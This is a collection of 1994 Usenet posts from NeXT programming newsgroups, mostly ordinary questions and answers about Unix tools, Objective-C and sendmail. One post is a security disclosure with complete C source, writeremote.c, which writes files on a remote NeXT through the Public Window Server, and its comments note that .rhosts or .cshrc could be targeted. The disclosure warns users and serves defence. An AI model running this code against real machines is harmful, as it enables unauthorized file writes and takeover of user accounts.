From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: Executing commands! Date: 9 Mar 1994 12:07:42 GMT Organization: Technical University Vienna, Austria Message-ID: <2lke6e$r8h@email.tuwien.ac.at> I am trying to execute a UNIX command from within my application. I am doing the following: 1. I start a shell as a subprocess of my application with PTY support. 2. I redirect stdin and stdout to my application. 3. I wait until a receive a prompt from my shell. 4. I send the command rcp <therhost> to the shell, ending with a CR That's it. But I shell always responds with the following message. >>> sh: privileges disabled because of outstanding IPC access to task >>> setruid root: Not owner I can execute the command manually from every shell. What am I doing wrong? Thanks in advance Suessner Michael PS: I am already using the Subprocess class
From: ah@fml.tuwien.ac.at (Andreas Haleger) Newsgroups: comp.sys.next.programmer Subject: System V Shared Memory Date: 9 Mar 1994 13:52:24 GMT Organization: Technical University Vienna, Austria Distribution: world Message-ID: <2lkkao$2bk@email.tuwien.ac.at> Hi, I am not sure, but remember that somebody has written emulation code for the System V shared memory calls. I browsed through the next ftp sites without success. Has anybody clues here? -- == Andreas == Wir entschuldigen uns fuer die Strapazen (Douglas Adams). NeXTmail accepted.
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: -NXHost danger (Re: Shadow Passwords) Date: 9 Mar 1994 15:08:56 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2lkoq8$lu1@agate.berkeley.edu> References: <jeffo.763162630@uiuc.edu> In article <jeffo.763162630@uiuc.edu> jeffo@uiuc.edu (J.B. Nicholson-Owens) writes: >Serge J. Goldstein writes: > >>At the recent NeXT Developer conference, I asked about NeXT's plans for >>improving security (e.g., kerberos, better control over NXHost, etc.). The >>response was, in brief, "our customers haven't asked for that, so we're not >>doing it". Here's a chance for customers to ask! If you care about having >>plain-text passwords broadcast all over your network, chime in! > >I've read people's request for these things for a *long* time. I've >come to the conclusion that it's not that NeXT's customers haven't >asked for it, it's that NeXT is being selective in what customers they >want to listen to. The customers who have spent the most on NeXT >haven't asked for it (even though they probably should). This doesn't >mean that NeXT shouldn't or couldn't put in security-improving >features without a request from their largest customers. I am posting this in the hope that some of those largest customers will take some action. I sent the program below to NeXT and CERT before 3.0 was released asking for finer grain control for -NXHost (Public Window Server) connections. Nothing happened for almost 2 years. Surely, waiting for 2 years should be long enough. I will get flamed for posting this, but if you leave the Public Window Server on all the time, this is what you are exposed to. Turn off the PWS switch in Preferences. Warn your users. Run scripts nightly which resets all user's PWS switch to OFF position, i.e., "dwrite System PublicWindowServer No" for all users. All flames will be ignored. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK) ----------------------------------------------------------------- /* writeremote.c [modified for Release 3.x] This program demonstrates a big security hole through which anyone with a NeXT on the Internet can penetrate into other NeXT's that has a user logged in with "Public Window Server" enabled. You don't need to have an account on the remote machine. To compile: cc -o writeremote writeremote.c -s -lNeXT_s -lsys_s Usage: writeremote hostname hostname -- hostname of the machine where a user is logged in at the console and has Public Window Server turned on. It will write a waring message into /tmp/console.log on remotehost. A portion of code from (Release 2.1): /NextLibrary/Documentation/NextDev/Notes/MakingAppsFly/ListingsForNXWindowServerMemory.rtf is used. */ #import <stdio.h> #import <strings.h> #import <stdlib.h> #import <appkit/appkit.h> #define STATUSLENGTH 200 /* Some large number for error string length */ /* * Ugly function to write PostScript error. */ void WritePostScriptError (char *errStr, int errStrLength, NXHandler *errorState) { char *streamAddr; int streamLength, maxLength; NXStream *errorStream; if ((errorState->code == dps_err_ps) && (errorStream = NXOpenMemory (NULL, 0, NX_WRITEONLY))) { DPSPrintErrorToStream (errorStream, (DPSBinObjSeq)(errorState->data2)); NXFlush (errorStream); NXGetMemoryBuffer (errorStream, &streamAddr, &streamLength, &maxLength); if (streamLength > errStrLength-1) streamLength = errStrLength-1; strncpy (errStr, streamAddr, streamLength); errStr[streamLength] = 0; NXCloseMemory (errorStream, NX_FREEBUFFER); } else { sprintf (errStr, "A non-PostScript error while running program."); } } /* Alert message to write to remote host's /tmp/console.log file, the * content of which may be examined by Workspace's Tools->Console menu. */ static char *message = "\nSecurity Alert\n\ This message has been written from a remote host via\n\ NeXT Public Window Server security hole. Setting the\n\ Public Window Server switch means that anyone with a NeXT\n\ on the Internet can write to or wipe out your files.\n\ Writing to /tmp/console.log is harmless, but imagine\n\ consequences of commands written to your ~/.cshrc.\n"; int WriteRemoteFile(char *remotehost) { DPSContext context; NXHandler exception; char status[STATUSLENGTH]; /* Array for error messages */ exception.code = 0; NX_DURING { context = (DPSContext)DPSCreateNonsecureContext(remotehost, NULL, NULL, NULL, 60000, NXCreateZone(vm_page_size*2, vm_page_size, 1)); if(context == NULL) fprintf(stderr, "Cannot create DPS connection to %s.\n", remotehost); DPSSetContext (context); /* This writes a message to /tmp/console.log on target. * The file may well be /Users/someone/.login or .rhosts which are * writable because we will be writing as "someone" who owns the files. */ DPSPrintf(context,"(/tmp/console.log) (a) file\n"); DPSPrintf(context,"dup (%s) writestring\n", message); DPSPrintf(context,"dup flushfile closefile\n"); /* Call DPSWaitContext to be sure we're really done. */ DPSWaitContext(context); NXPing(); /* seems redundant but doesn't work without it */ DPSDestroyContext(context); } NX_HANDLER { exception = NXLocalHandler; /* Make note of the error... */ } NX_ENDHANDLER if (exception.code != 0) { WritePostScriptError (status, STATUSLENGTH, &exception); fprintf(stderr,"%s\n", status); if(exception.code == 1108) { fprintf(stderr," No console user is on remote host <%s>\n", remotehost); fprintf(stderr," or the console user's PublicWindowServer switch is OFF.\n"); } if(context) DPSDestroyContext(context); } else { printf("The following message has been written to\n"); printf("/tmp/console.log file of remotehost: %s\n",remotehost); printf("%s\n\n", message); printf("Tell the remote user at the console to look at the console\n"); printf("messages via Workspace's menu: Tools->Console.\n"); } return(0); } main(int argc, char *argv[]) { if(argc != 2) { printf("Usage: writeremote hostname\n"); printf("This program demonstrates a NeXT Public Window Server security hole.\n"); printf("Any NeXT on the Internet will be able to read/write/create files on\n"); printf("your machine where *you* have permissions, practically anywhere\n"); printf("and any file in your home directory.\n\n"); printf("hostname -- hostname of the machine where a user is logged in at\n"); printf(" the console and has Public Window Server turned on.\n"); printf("It will write a warning message into /tmp/console.log on remotehost.\n"); printf("Imagine consequences of commands written to remote user's ~/.cshrc.\n"); exit(1); } WriteRemoteFile(argv[1]); } --- cut here ---
Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer From: dboney@mc.cs.ttu.edu (David G. Boney) Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Message-ID: <1994Mar6.081238.5596@hydra.acs.ttu.edu> Sender: news@hydra.acs.ttu.edu (USENET News System) Organization: Texas Tech Dept of C.S. References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> <CM099B.71x@world.std.com> <DA-PqTj8HH@fkamaz> Date: Sun, 6 Mar 94 08:12:38 GMT In article <DA-PqTj8HH@fkamaz>, Anatoly.Lisovsky@kamaz.kazan.su (Anatoly M. Lisovsky) writes: TECHNICAL SKILLS |> |> Languages: C, Pascal, Assembler 80x86, UNIX shell programming, |> INFORMIX 4G. |> |> Hardware : 80x86, SPARC |> |> Operating |> Systems: UNIX(SVR3.2,BSD,SVR4), DOS. |> |> Applications: Borland C, MS C, Turbo Pascal, INFORMIX, Sun cc, |> Interactive SVR3.2 cc (2.2 ad 3.0), UHC SVR4 cc, |> gcc for Solaris 2.3, |> and so on... (A lot of commercial packages are |> "free" here and available to study. :-) |> When did the russians start to by sun computer? I thought there where export controls on things like that. -- Sincerely, David G. Boney American Heart Association Medical Student Research Fellow Texas Tech School of Medicine dboney@mc.cs.ttu.edu Texas Tech University Ph. 806-742-1191 Department of Computer Science Lubbock, Tx. 79409 USA
From: gloger@dbulm1.uucp (Jochen Gloger) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin Subject: sed and tar help needed Message-ID: <1994Mar9.173302.604@dbulm1.uucp> Date: 9 Mar 94 17:33:02 +0100 Organization: Daimler-Benz, Forschungszentrum Ulm Hi, I have two problems concerning pure UNIX. 1. How can I force the substitute command in sed to look for an extended-ASCII-character described as a three digit octal number? For example, the German city name Luebeck (here written without the umlauts) is written in DEC-multinational character code as L\374beck (emacs writing style) I want to transform this word into NeXT-keymapping, namely L\366beck. (emacs writing style) Since I have to this with a lot of files, I can't use Edit or Emacs with the tr command, but I was not very successful to persuade sed to do this task. The following sed command did not work: s/\374/\366/ So, what can I do? 2. Imaging a list of file names provided for instance by a UNIX "find" command. Now I want to put this file list into a tar pipe, to copy these files to another location, but this did not work, also. Here are my trials: a) <filelist provided by find> | tar cf - | (cd toAnotherLocation; tar xf -) Not a correct syntax b) <filelist provided by find> | tar cf - . | (cd toAnotherLocation; tar xf -) Does not care about "filelist" c) tar cf - `<filelist provided by find>` | (cd toAnotherLocation; tar xf -) tar: arglist too long d) xargs tar cf - `<filelist provided by find>` | (cd toAnotherLocation; tar xf -) xargs: arglist too long Thanks in advance for any help Kind regards Jochen Gloger =============================================================================== Jochen Gloger, Daimler-Benz AG, Research Center Ulm, Institute of Information Technology, Department of Text Understanding Phone: +49 731 505 2353, Fax: +49 731 505 4113 Address: Wilhelm-Runge-Str.11, P.O. Box 23 60, 89013 Ulm, Germany Email: unido.uucp!dbulm1!gloger OR gloger%dbulm1.uucp@germany.eu.net ===============================================================================
From: sutharo@emunix.emich.edu (Sumnuk Sutharoskajornchai) Newsgroups: comp.sys.next.programmer Subject: Compilation error on paste unix command Date: 9 Mar 1994 12:17:42 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9403091819.AA00751@emunix.emich.edu> I download cut+paste from archive sites. It is a cut and paste unix command. When I compile on NeXT, it complain the following errors: paste.c:199: warning: 'setconcat' was declared implicitly 'extern' and later 'static' paste.c:239: warning: 'prusage' was declared implicitly 'extern' and later 'static' ld: Undefined symbols: _spaste spaste.c:55: warning: 'spfile' was declared implicitly 'extern' and later 'static' ld: Undefined symbols: _main Can anyone help me to debug the program or point me the directions because I don't anything about C programming? I need this two commands to do my takehome exam. Thank you very much. -------------------- Somnuk email: sutharo@emunix.emich.edu --------------------------------------------------- This is a paste.c program -------------------------------------------------- /* * A version of paste. This is compatable with AT&T paste command SVR2. * * John Weald * */ #include <stdio.h> #define MAXLINE 1024 /* Max. allowed line length */ #define MAXFILES 12 /* Max. number of input files */ extern void exit(); main(argc, argv) int argc; char *argv[]; { extern int optind; extern char *optarg; int c; /* For getopt() */ char conchars[MAXFILES]; /* The concatination characters */ int nconchars = 1; /* The number of conchars[] */ int serial = 0; /* True if old type paste "-s" */ conchars[0] = '\t'; while ((c = getopt(argc, argv, "sd:")) != EOF) { switch(c) { case 's': /* Concatinate the same file serially */ serial++; break; case 'd': /* Use other than a single tab */ nconchars = setconcat(conchars, optarg); break; default: /* Does not return */ prusage(); } } if (serial) spaste(&argv[optind], conchars, nconchars); else paste(&argv[optind], conchars, nconchars); exit(0); /* NOTREACHED */ } /* * paste() * * Do the actual paste. */ paste(files, con, ncons) char *files[]; /* Null terminated list of input files */ char con[]; /* The concatination characters */ char ncons; /* The number of above */ { char ibuf[MAXLINE+1]; /* The input buffer */ char obuf[MAXLINE]; /* The output buffer */ register char *iptr = ibuf; register char *optr = obuf; FILE *fps[MAXFILES]; /* One for each open file */ int f; /* Number of files opened */ int allfiles; /* Ditto */ int inc; /* True if concat. char. == '\0'*/ int ocount; /* Output buffer char. count */ char c; /* The current concat. char */ int i; /* * Open all the input files, any filename of '-' means * the standard input. No file name means standard input. */ for (f = 0; files[f] != (char *)NULL; f++) { if (*files[f] == '-') fps[f] = stdin; else if ((fps[f] = fopen(files[f], "r")) == (FILE *)NULL) { fprintf(stderr, "Failed to open file %s\n", files[f]); exit(1); } if (f >= MAXFILES) { fprintf(stderr, "Too many files. Maximum allowed is %d\n", MAXFILES); exit(1); } } if (files[0] == (char *)NULL) { fps[0] = stdin; f++; } /* * Read all lines until no more lines in any file. */ allfiles = f; while (f) { optr = obuf; ocount = 0; /* * Join lines from all files. * * The concatination character may be '\0' which * means no character. The variable inc is an indication * of the concatination character being '\0', we need to * if there is a concatination character to move up the * output buffer. * * The concatination characters are used in a round robin * list. */ for (inc = 0, i = 0; i < allfiles; i++) { iptr = ibuf; optr += inc; /* To save repeated evaluation */ c = con[i % ncons]; inc = c == '\0' ? 0 : 1; if (fps[i] == (FILE *)NULL) { /* No more lines in this file. */ *optr = c; continue; } if (fgets(ibuf, sizeof(ibuf), fps[i]) == (char *)NULL) { /* Reached EOF - finished with the file */ (void)fclose(fps[i]); fps[i] = (FILE *)NULL; *optr = c; f--; continue; } /* * Replace the newline with the concatination character. * There is no need to look for end-of-string since * we know that * a) if ibuf is full to the max, then we will * overflow obuf before we hit the end of ibuf. * b) if ibuf is not full, then it must contain a * a newline character, but may or may not * fit into obuf. */ for (; *iptr != '\n'; ocount++) { /* Need space for trailing null */ if (ocount >= sizeof(obuf) - 1) { fprintf(stderr, "Output line too long, maximum length is %d.\n", MAXLINE); exit(1); } *optr++ = *iptr++; } *optr = c; } if (f) { *optr = '\0'; puts(obuf); } } } /* * setconcat() * * Parse the concatination characters and place them in the array c. * Return the number of concatination characters. * * Specials are: * \n - Newline * \t - Tab (default) * \ - Backslash * \0 - No concatination character */ static int setconcat(c, in) char *c; char *in; { int i; /* The number seen so far */ for (i = 0; *in != '\0'; in++, c++, i++) { if (i > MAXFILES) { fprintf(stderr, "Too many concatination characters, maximum allowed is %d\n", MAXFILES); exit(1); } if (*in != '\\') { *c = *in; continue; } in++; switch (*in) { case 'n': *c = '\n'; break; case 't': *c = '\t'; break; case '0': *c = '\0'; break; default: /* Includes '\\' */ *c = *in; break; } } return(i); } static prusage() { fprintf(stderr, "USAGE: paste [-s] [-d<list>] files\n"); exit(1); } /*------------------------------------------------------ *This is spaste.c *-------------------------------------------------------- */ /* * Serially paste a file together * * John Weald */ #include <stdio.h> extern void exit(); spaste(files, c, n) char *files[]; /* Null terminate list of input files */ char c[]; /* The concatintaion characters */ int n; /* The number of above */ { int i; FILE *fp; if (files[0] == (char *)NULL) { spfile(stdin, c, n); return; } for (i = 0; files[i] != (char *)NULL; i++) { if (*files[i] == '-') fp = stdin; else if ((fp = fopen(files[i], "r")) == (FILE *)NULL) { fprintf(stderr, "Failed to open file %s\n", files[i]); exit(1); } spfile(fp, c, n); (void)fclose(fp); } } /* * Do the actual paste of a stream. * * The method here is to read in the stream and replace all newline * characters with concatintaion characters. * Output occurs after each chuck is parsed, or if the concatination character * is the null seperator (otherwise puts() would screw up on whole chunk). * * The stream is read in BUFSIZ chunks using fread. The input buffer is one * larger than read, so that it can be null terminated. * * When we read in each chunk we must check if it needs to be joined to the * previous one i.e. the last character on the last chunk was a newline. */ static spfile(fp, con, ncons) FILE *fp; /* serially paste this stream */ char con[]; /* The concatintaion characters */ int ncons; /* The number of above */ { char *pstart; /* The start of the string */ char *ptr; /* Walks down the stream */ char buf[BUFSIZ + 1]; /* To ensure null termination */ int n; /* Number of bytes read with fread() */ int k = 0; /* Index into concatination character array */ int join; /* Join this chunk to the next? */ char last; /* The very last character looked at. */ join = 0; while ((n = fread(buf, sizeof(char), sizeof(buf) - 1, fp)) != 0) { if (join) { /* Join with last chunk */ putchar(con[k]); k = (k + 1) % ncons; join = 0; } /* Join to next chunk? */ if (buf[n-1] == '\n') { join++; /* Ignore the newline */ n--; } /* ensure null terminated buffer */ buf[n] = '\0'; /* * walk thru this chunk * replace all newlines with the next concat. char. */ for (pstart = ptr = buf; *ptr != '\0'; ptr++) { if (*ptr == '\n') { *ptr = con[k]; if (con[k] == '\0') { fputs(pstart, stdout); pstart = ptr + 1; } k = (k + 1) % ncons; } } fputs(pstart, stdout); last = *(ptr - 1); } /* * Maybe they asked for the newline as the * concatination char. We would hate to give them two newlines * in a row. */ if (last != '\n') putchar('\n'); }
From: colyma@chromium.zinc.com (Mike Colyar) Newsgroups: comp.sys.next.programmer Subject: Mixing ObjC and C++ Date: 9 Mar 1994 11:09:10 -0700 Organization: Zinc Software Incorporated Sender: colyma@chromium (Mike Colyar) Distribution: world Message-ID: <2ll3c6$op1@chromium.zinc.com> Keywords: C++ In trying to mix ObjC and C++ class I've come across a problem. I get an internal compiler error when I attempt to pass a pointer to a C++ class instance. The code is something like the following: myWin.h #include "header.hpp" // contains the C++ class (WINDOW_CLASS). extern "Objective-C" { #import <appkit/Window.h> } @interface myWin : Window { class WINDOW_CLASS *theWin; } - setMyWin:(WINDOW_CLASS *)win; @end myWin.cpp #import "myWin.h" @implmentation MyWin - setMyWin:(WINDOW_CLASS *)win <<<<< This is where the compiler dies { <<<<< with an internal compiler error 10. theWin = win; } @end The syntax may be off here, but it seems ok in the actual code. Any help or hints would be appreciated. Thanks, Mike colyma@zinc.com
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs From: barry@ictv.com (Barry Lustig) Subject: WorkSpace Manager failure on large NFS mounted filesystems Message-ID: <1994Mar9.181536.18065@ictv.com> Keywords: NFS Fileservers mounts Workspace Organization: Nicholas-Applegate Capital Management, San Diego, CA, +1 619 687-8000 Date: Wed, 9 Mar 1994 18:15:36 GMT Both WM.app and FileMover.tool incorrectly handle disk space calculations on NFS mounted filesystems that are larger than 2GB. This might not be more than a cosmetic problem except that FileMover.tool will not copy or move files to a filesystem that it determines is full. Included below is a snippet of code from FileMover.tool. A similar snippet can be found in WM. fp@(-0x432) corresponds to f_bfree in the statfs structure and fp@(-0x43e) corresponds to f_bsize. Notice that the mulsi of f_bfree and f_bsize will force d2 to go negative when the result is between 2 and 4GB; and will overflow d2 when the result is greater than 4GB. Since the GNU C compiler supports a long long datatype, the easiest workaround would be to do the calculations into a long long instead of a long. As a temporary workaround, I changed the sense of the branch at 53ce from bne to beq. When the statfs fails, FileMover.tool defaults to doing the copy. I haven't checked to see what the behavior will be when the filesystem really is full. I assume that it will be the same as any command line copy that fills up a filesystem. 53c6 bsr _statfs 53cc tstl d0 53ce bne L53ec 53d0 movel fp@(-0x432),d2 53d4 mulsl fp@(-0x43e),d2 53da movel d2,d1 53dc movel d2,d0 To workaround: cp -p FileMover.tool FileMover.tool-NFSBUG objpatch -b 0x67 FileMover.tool 0x53ce struct statfs { long f_type; /* type of info, zero for now */ long f_bsize; /* fundamental file system block size */ long f_blocks; /* total blocks in file system */ long f_bfree; /* free blocks */ long f_bavail; /* free blocks available to ruser */ long f_files; /* total file nodes in file system */ long f_ffree; /* free file nodes in fs */ fsid_t f_fsid; /* file system id */ long f_spare[7]; /* spare for later */ }; --
From: bakker@cyclon.aoml.erl.gov (Cary Bakker) Newsgroups: comp.sys.next.programmer Subject: Re: "Grab"-like rectangle dragging Date: 9 Mar 1994 19:00:55 GMT Organization: U.S. Department of Commerce, NOAA/AOML Message-ID: <2ll6d7$d7j@wave.aoml.erl.gov> References: <1994Mar9.062811.14925@Angst.COM> In comp.sys.next.programmer article <1994Mar9.062811.14925@Angst.COM> you wrote: > I'd like to do something like Grab.app does: have the user define a > rectangle on the screen by dragging. I've figured out how to display the > rectangle as it is dragged, by using four skinny black windows, but I > can't figure out how to catch the mouse-down and mouse-dragged events for > anyplace on-screen. The only way I can capture these events right now is > if they occur in one of my application's windows. > Hmm, this is interesting. Let's see. Grab.app will not start tracking the rect until a menu item is selected (i.e. greb selection, or whatever it is). That's what you should do. Have the user press a button, menu item or whatever, and have that cause the program to start catching the events. Namely, you would need to catch the mouseMoved events and the mouseDown events.... Now as the user moves the mouse you can get the event info and display the screen position or whatever... When you run across a mouseDown event, then you can display the window box, or whatever... I haven't tried any of this, so it's all theory... Hope it helps, --CB
From: ernest@pundit.cithep.caltech.edu (Ernest Prabhakar) Newsgroups: comp.sys.next.programmer Subject: Re: same text object in multiple windows? Date: 9 Mar 1994 20:32:14 GMT Organization: California Institute of Technology, Pasadena Distribution: world Message-ID: <2llboe$613@gap.cco.caltech.edu> References: <2ljh0kINN4vn@no-names.nerdc.ufl.edu> Paul A. Griffin writes > Hi, > > Does anyone know if there is a way of displaying the same text > (object) in multiple windows? > > For example, emacs lets you split its > screen into multiple views of the same buffer. > Is there a way of > implementing this via the application kit? We were just discussing this while working on MiscKit support for just such a behavior. The answer is "NO" - at least for the AppKit Text object. One of the major paradigms of OO programming is "Model-View-Controller" (MVC). The "Model" of an Object contains the actual information, and is not directly visible to the user. The "View" talks to the model and presents information to the user. So, for multi-view documents, the way to do it is to have multiple views which talk to a single model. The problem with the Text object (well, -a- problem) is that it is BOTH the Model and the View. The person who wrote the Text object is sort of a misguided genius: it's a wonderful piece of work, and there's nothing like it on any platform anywhere, but it is the world's worst example of OO programming - the person didn't believe in subclassing, categories, or MVC. Unfortunately, the problem is difficult enough that nobody has come up with a better solution - yet. Anyway, if you just want simple ASCII text, you can set up your own model and view systems fairly easily (especially in another month when we get the MiscKit stuff up and working:). However, if you want RTF text, you're pretty much out of luck. You'd probably have to write your own model and continually force-feed updates to Text, which is hairier than I'd care to think of. Hope this helps (and is accurate), - Ernie P. -- Ernest N. Prabhakar Caltech High Energy Physics Member, League for Programming Freedom (league@prep.ai.mit.edu) CaJUN President NeXTMail:ernest@pundit.cithep.caltech.edu "...and ourselves, your servants for Jesus' sake." - II Cor 4:5b #import <std/disclaimer.h>
From: smcgrew@theocean.uoregon.edu (Steven McGrew) Newsgroups: comp.sys.next.programmer Subject: Radiance Date: 9 Mar 1994 20:29:47 GMT Organization: University of Oregon Distribution: world Message-ID: <2llbjr$at0@pith.uoregon.edu> Question, Has anyone out there managed to get Radiance (ray tracing package) compiled on the NeXT (preferably INTEL) sucessfully. I am having a difficult time. I need this thing rather quickly and do not have the time to play with it. Thanks in advance for any info. Steve smcgrew@theocean.uoregon.edu
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: DPS operators In-Reply-To: absinthe@viva.chem.washington.edu's message of 9 Mar 1994 02:44:29 GMT Message-ID: <BYER.94Mar9123131@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2ljd6d$31m@news.u.washington.edu> Date: Wed, 9 Mar 1994 20:31:31 GMT Daniel Faken writes: Daniel> I am now using DPSPrintf instead - Is there a performance Daniel> difference? Do the DPS operators simply write strings to the window Daniel> server? There is some performance difference; if you are using DPSPrintf very much, you should look into an alternative way of getting code to the server (such as a wrap). If you are using it only a few times, then there should be no significant difference overall. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
From: kunkee@sugar.NeoSoft.COM (Randy Kunkee) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin,comp.unix.misc Subject: Re: sed and tar help needed Followup-To: comp.unix.misc Date: 9 Mar 1994 14:37:36 -0600 Organization: NeoSoft Internet Services +1 713 684 5969 Message-ID: <2llc2g$b20@sugar.NeoSoft.COM> References: <1994Mar9.173302.604@dbulm1.uucp> In article <1994Mar9.173302.604@dbulm1.uucp>, Jochen Gloger <gloger@dbulm1.uucp> wrote: >Hi, >I have two problems concerning pure UNIX. > >1. (DELETED -- I don't know) > >2. Imaging a list of file names provided for instance by a UNIX "find" >command. Now I want to put this file list into a tar pipe, to copy these files >to another location, but this did not work, also. > >Here are my trials: > >a) <filelist provided by find> | tar cf - | (cd toAnotherLocation; tar xf -) >Not a correct syntax > >b) <filelist provided by find> | tar cf - . | (cd toAnotherLocation; tar xf -) >Does not care about "filelist" > >c) tar cf - `<filelist provided by find>` | (cd toAnotherLocation; tar xf -) >tar: arglist too long > >d) xargs tar cf - `<filelist provided by find>` | (cd toAnotherLocation; tar >xf -) >xargs: arglist too long > > >Thanks in advance for any help >Kind regards >Jochen Gloger > >=============================================================================== >Jochen Gloger, Daimler-Benz AG, Research Center Ulm, >Institute of Information Technology, Department of Text Understanding >Phone: +49 731 505 2353, Fax: +49 731 505 4113 >Address: Wilhelm-Runge-Str.11, P.O. Box 23 60, 89013 Ulm, Germany >Email: unido.uucp!dbulm1!gloger OR > gloger%dbulm1.uucp@germany.eu.net >=============================================================================== > For number two, you should use cpio: <filelist provided by find> | cpio -pdmv <toAnotherLocation> Lookup CPIO. -- Randy Kunkee Self Employed 713-870-1334 kunkee@sugar.neosoft.com
From: hussain@ArtSci.WuStL.EDU (Hussain Chinoy) Newsgroups: comp.sys.next.programmer Subject: curses package for NeXT? Date: 9 Mar 1994 21:07:21 GMT Organization: Washington University, St. Louis, MO Message-ID: <2lldq9$174@bigfoot.wustl.edu> Hi! I'm looking for a curses package that can implement UNDERLINE, BOLD, and REVERSE so that the WWW browser Lynx (written by Lou Montulli of UKansas) can distinguish the hypertext links within an html document. Email replies to me, please! -- ________________________________ G. Hussain Chinoy Head Consultant, Arts & Science hussain@artsci.wustl.edu NeXT mail is way cool
From: worde_be@cowley.uwlax.edu Newsgroups: comp.sys.next.programmer Subject: PopUpLists Date: 9 Mar 1994 21:03:08 GMT Organization: University of Wisconsin - La Crosse Message-ID: <2lldic$51m@alfred.acs.uwlax.edu> Keywords: PopUpLists I'm trying to teach my self Objective-C on the NeXT and I have a simple question to ask. I wish to programmically have an application select an item of a PopUpList if the user supplies the tag number. I was wondering if this can be easily done? I've looked in the PopUpList, Menu, and other parts of the developer documentation but still can't figure this out. Thanks for any insight in advance, Brent Worden University of Wisconsin - La Crosse Department of Mathematics worde_be@cowley.uwlax.edu bworden@uwlax.edu
From: montgomery_zukowski@il.us.swissbank.com (Montgomery Zukowski) Newsgroups: comp.sys.next.programmer Subject: Re: same text object in multiple windows? Date: 9 Mar 1994 17:27:04 -0500 Organization: The Ohio State University Sender: root@magnus.acs.ohio-state.edu Message-ID: <9403092222.AA03076@nwk122_ocachi> I think that you can use a bunch of TextField objects which all point to the same TextFieldCell object. Monty
From: hern@advtech.uswest.com (Steve Herndon) Newsgroups: comp.sys.next.programmer Subject: Filling a DBTableView from multiple sources Date: 8 Mar 1994 17:29:47 GMT Organization: U S WEST Advanced Technologies Message-ID: <2licmb$6d3@cherokee.advtech.uswest.com> Is it possible/pracitcal to fill some columns in a dbtableview from the normal source (i.e. DBAssociations) and some from another source which is not from a database (actually it will be from the database, but I need to massage the data)? Any ideas? Code snippets? Thanks. Steve Herndon E-mail: hern@advtech.uswest.com US WEST Advanced Technologies, Phone: (303) 541-6354 4001 Discovery Drive, Suite 270 Boulder, CO. 80303
From: golden@weyl.bu.edu (Mitchell Golden) Newsgroups: comp.sys.next.programmer Subject: sendmail.8.6.5 Date: 9 Mar 1994 23:32:17 GMT Organization: Physics Dept., Boston University Message-ID: <2llma1$k1f@news.bu.edu> Summary: sendmail.8.6.5 I heard that there was a cert advisory about the old version of sendmail (the default one that NeXT is using, so I downloaded the latest Berkeley version: sendmail.8.6.5. My quesion is this: has anyone gotten it to run completely correctly on the NeXT? When my machine reboots I get the following message: Mar 9 18:16:28 mname sendmail[108]: NOQUEUE: SYSERR: service "smtp" unknown Anyone have any ideas? Do I have a wrong sendmail.cf file? Replies to golden@physics.harvard.edu please. Thanks.
From: doug@ponder.csci.unt.edu (Douglas A. Scott) Newsgroups: comp.sys.next.programmer Subject: Using -DINLINE_MATH on m68040 NeXT Date: 10 Mar 1994 00:30:42 GMT Organization: University of North Texas, Denton Message-ID: <2llpni$k6j@hermes.unt.edu> Could someone tell me if the INLINE_MATH versions of the math functions in ansi/m68k/math.h will produce faster code on a 68040 machine? I have been told that they may only be of use on 030 machines with the floating point chip -- is this still the case, or do the asm calls actually get used on the 040? I cannot find any reference to this in the documentation (what else is new?). Thanks. -- ___________________________________________________________________________ Douglas Scott doug@foxtrot.ccmrc.ucsb.edu
From: dec@decipc.igpp.ucsd.edu (David Chavez ) Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Date: 10 Mar 1994 07:29:21 GMT Organization: UC San Diego Message-ID: <2lmi8h$opv@network.ucsd.edu> References: <CM099B.71x@world.std.com> <DA-PqTj8HH@fkamaz> <1994Mar6.081238.5596@hydra.acs.ttu.edu> To: dboney@mc.cs.ttu.edu Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer In-Reply-To: <1994Mar6.081238.5596@hydra.acs.ttu.edu> References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> <CM099B.71x@world.std.com> <DA-PqTj8HH@fkamaz> Organization: UC San Diego Cc: Bcc: >When did the russians start to by sun computer? I thought there where >export controls on things like that. >-- FYI, Sun Microsystems has an office in Moscow. Give them a call and ask them directly: 011-7-502-256-5050
